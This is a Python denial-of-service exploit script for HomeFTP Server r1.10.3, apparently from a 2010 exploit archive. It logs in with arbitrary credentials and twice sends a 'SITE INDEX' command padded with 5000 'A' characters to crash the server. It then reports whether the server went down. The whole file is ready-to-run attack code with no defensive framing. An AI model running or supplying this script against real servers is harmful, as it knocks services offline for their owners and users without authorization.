#!/usr/bin/python
###################################################################
#
# HomeFTP Server r1.10.3 (build 144) Denial of Service Exploit
# Found By: Dr_IDE
# Date:     May 28, 2010
# Download: http://downstairs.dnsalias.net/products.html
# Tested:   Windows 7
#
###################################################################
 
import socket, sys
 
host = (sys.argv[1])
buff = ("A" * 5000)
cmds = ('SITE INDEX')
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print ("\r\n[i] Connecting to: " + host +"\r\n")
print ("[*] Crashing server with command: " + cmds + "\r\n")

try:
 s.connect((host, 21))
 d=s.recv(1024)
 print (d)
 s.send("USER dr_ide\r\n") #anonymous login so anything goes
 d=s.recv(1024)
 print (d)
 s.send("PASS dr_ide\r\n")
 d=s.recv(1024)
 print (d)
 s.send(cmds + " " + buff + '\r\n')
 d=s.recv(1024)
 print (d)
 s.send(cmds + " " + buff + '\r\n') #Second time does the trick.
 d=s.recv(1024)
 print (d)
 s.close()
 
 try:
  s.connect((host,21))
 except:
  print ("\r\n[i] Success, Server is Down.")
except:
 print ("[i] Error")